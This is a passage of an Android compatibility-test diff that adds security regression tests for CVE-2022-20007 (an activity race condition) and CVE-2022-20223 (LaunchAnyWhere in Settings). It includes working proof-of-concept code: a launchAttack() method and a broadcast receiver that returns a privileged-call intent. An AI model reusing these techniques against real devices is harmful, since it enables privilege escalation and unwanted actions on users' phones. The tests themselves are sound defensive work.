+        setContentView(R.layout.activity_main);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
new file mode 100644
index 0000000..713c0ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20007",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..ea78d62
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20007"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2022-20007"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+        </activity>
+        <activity
+            android:name=".PocMainActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20007" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..d327e30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
new file mode 100644
index 0000000..26b15c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
new file mode 100644
index 0000000..1368bc2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="assumptionFailureMessage">
+    Assumption failure occurred.
+    </string>
+    <string name="failMessage">
+    Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
+    Not-Paused Background Activity
+    </string>
+    <string name="messageKey">message</string>
+    <string name="passMessage">Pass</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">SharedPreferences</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
new file mode 100644
index 0000000..925da1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Context mContext = getApplicationContext();
+
+    String getStringRes(int key) {
+        return mContext != null ? mContext.getResources().getString(key) : null;
+    }
+
+    int getIntegerRes(int key) {
+        return mContext != null ? mContext.getResources().getInteger(key) : null;
+    }
+
+    @Test
+    public void testRaceCondition() throws Exception {
+        final long timeoutSec = 20L;
+        assumeNotNull(mContext);
+        final Intent intent = new Intent(mContext, PocMainActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            mContext.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(e);
+        }
+        SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
+        assumeNotNull(sharedPrefs);
+        final Semaphore preferenceChanged = new Semaphore(0);
+        OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+            @Override
+            public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+                if (key.equals(getStringRes(R.string.resultKey))) {
+                    if (sharedPreferences.getInt(key,
+                            getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+                                    R.integer.pass)) {
+                        preferenceChanged.release();
+                    }
+                }
+            }
+        };
+        sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+        try {
+            preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            assumeNoException(e);
+        }
+        int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+                getIntegerRes(R.integer.assumptionFailure));
+        String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+                getStringRes(R.string.assumptionFailureMessage));
+        assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+        assertNotEquals(message, result, getIntegerRes(R.integer.fail));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
new file mode 100644
index 0000000..038335e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        setSharedPreferenes(getResources().getInteger(R.integer.fail),
+                getString(R.string.failMessage));
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        setSharedPreferenes(getResources().getInteger(R.integer.pass),
+                getString(R.string.passMessage));
+    }
+
+    void setSharedPreferenes(int result, String message) {
+        SharedPreferences sh =
+                getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+        SharedPreferences.Editor edit = sh.edit();
+        edit.putInt(getString(R.string.resultKey), result);
+        edit.putString(getString(R.string.messageKey), message);
+        edit.commit();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
new file mode 100644
index 0000000..7a4e841
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class PocMainActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        launchAttack();
+    }
+
+    public void launchAttack() {
+        String testPkgName = getPackageName();
+        final Intent coverIntent = new Intent();
+        coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
+                "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
+        coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
+                Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
+        victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
+        Intent[] intents = {victimIntent, coverIntent};
+        try {
+            startActivities(intents);
+        } catch (ActivityNotFoundException e) {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey),
+                    getResources().getInteger(R.integer.assumptionFailure));
+            edit.putString(getString(R.string.messageKey),
+                    getString(R.string.assumptionFailureMessage));
+            edit.commit();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
new file mode 100644
index 0000000..df595c8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20223",
+    defaults: [
+        "cts_support_defaults"
+    ],
+    srcs: [
+        "src/**/*.java"
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
new file mode 100644
index 0000000..8ad5acb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20223">
+
+    <application>
+        <receiver
+            android:name=".PocBroadcastReceiver"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20223" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
new file mode 100644
index 0000000..6257834
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+    <string name="messageKey">message</string>
+    <string name="resType">string</string>
+    <string name="sharedPreferences">SharedPreferences</string>
+    <string name="testFailMsg">
+    Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
+    check
+    </string>
+    <string name="textResId">user_restrictions_title</string>
+    <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
+    <string name="uriData">tel:555-TEST</string>
+    <string name="userName">CVE_2022_20223_RestrictedUser</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
new file mode 100644
index 0000000..e47e593
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    private Context mContext;
+
+    private String getDefaultDialerPackage() {
+        TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+        return telecomManager.getSystemDialerPackage();
+    }
+
+    // Wait for UiObject to appear and click on the UiObject if it is visible
+    private boolean clickUiObject(BySelector selector) {
+        boolean objectFound = mDevice.wait(Until.hasObject(selector), TIMEOUT_MS);
+        if (objectFound) {
+            mDevice.findObject(selector).click();
+        }
+        return objectFound;
+    }
+
+    @Test
+    public void testAppRestrictionsFragment() {
+        try {
+            mDevice = UiDevice.getInstance(getInstrumentation());
+            mContext = getInstrumentation().getContext();
+
+            Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            mContext.startActivity(intent);
+
+            BySelector selector = By.text(mContext.getString(R.string.userName));
+            assumeTrue(
+                    mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
+                    clickUiObject(selector));
+
+            String settingsPackageName =
+                    intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+            Context settingsContext = mContext.createPackageContext(settingsPackageName,
+                    Context.CONTEXT_IGNORE_SECURITY);
+            Resources res = settingsContext.getPackageManager()
+                    .getResourcesForApplication(settingsPackageName);
+            String text = settingsContext
+                    .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+                            mContext.getString(R.string.resType), settingsPackageName));
+            selector = By.text(text);
+            assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+
+            selector = By.res(mContext.getString(R.string.appSettingsIconResId));
+            assumeTrue(
+                    mContext.getString(R.string.timedOutMsg,
+                            mContext.getString(R.string.appSettingsIconResId)),
+                    clickUiObject(selector));
+
+            assertFalse(mContext.getString(R.string.testFailMsg),
+                    mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                        mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+                String assumptionFailure =
+                        sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
+                assumeTrue(assumptionFailure, assumptionFailure == null);
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
new file mode 100644
index 0000000..c3c7083
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocBroadcastReceiver extends BroadcastReceiver {
+
+    ComponentName getPrivilegeCallDefaultComponent(Context context) {
+        Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
+        intent.setData(Uri.parse(context.getString(R.string.uriData)));
+        return intent.resolveActivity(context.getPackageManager());
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        try {
+            Bundle result = new Bundle();
+            Intent dialIntent = new Intent();
+            dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
+            dialIntent.setPackage(context.getPackageName());
+            dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+            dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+            result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+            setResultExtras(result);
+            return;
+        } catch (Exception e) {
+            SharedPreferences sh = context.getSharedPreferences(
+                    context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putString(context.getString(R.string.messageKey), e.getMessage());
+            edit.commit();
+        }
+    }
+}
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
index 27ebc0f..30fa213 100644
--- a/hostsidetests/shortcuts/hostside/Android.bp
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -33,4 +33,24 @@
     required: [
         "CtsBackupHostTestCases",
     ],
+    data: [
+        ":CtsShortcutBackupLauncher1",
+        ":CtsShortcutBackupLauncher2",
+        ":CtsShortcutBackupLauncher3",
+        ":CtsShortcutBackupLauncher4new",
+        ":CtsShortcutBackupLauncher4old",
+        ":CtsShortcutBackupPublisher1",
+        ":CtsShortcutBackupPublisher2",
+        ":CtsShortcutBackupPublisher3",
+        ":CtsShortcutBackupPublisher4new",
+        ":CtsShortcutBackupPublisher4new_nobackup",
+        ":CtsShortcutBackupPublisher4new_nomanifest",
+        ":CtsShortcutBackupPublisher4new_wrongkey",
+        ":CtsShortcutBackupPublisher4old",
+        ":CtsShortcutBackupPublisher4old_nomanifest",
+        ":CtsShortcutMultiuserTest",
+        ":CtsShortcutUpgradeVersion1",
+        ":CtsShortcutUpgradeVersion2",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
index 791d0dd..c2dc28f 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
index 0a26d23..880ab4a 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
index 5ed2c7e..8c84cd5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
index 133f7f7..b519bbe 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 6ce5397..38e2339 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
new file mode 100644
index 0000000..3d7bf51
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
index 4228ffe..f4bc7e8 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
index de090f1..59e9fe1 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
index 162044c..353949b 100644
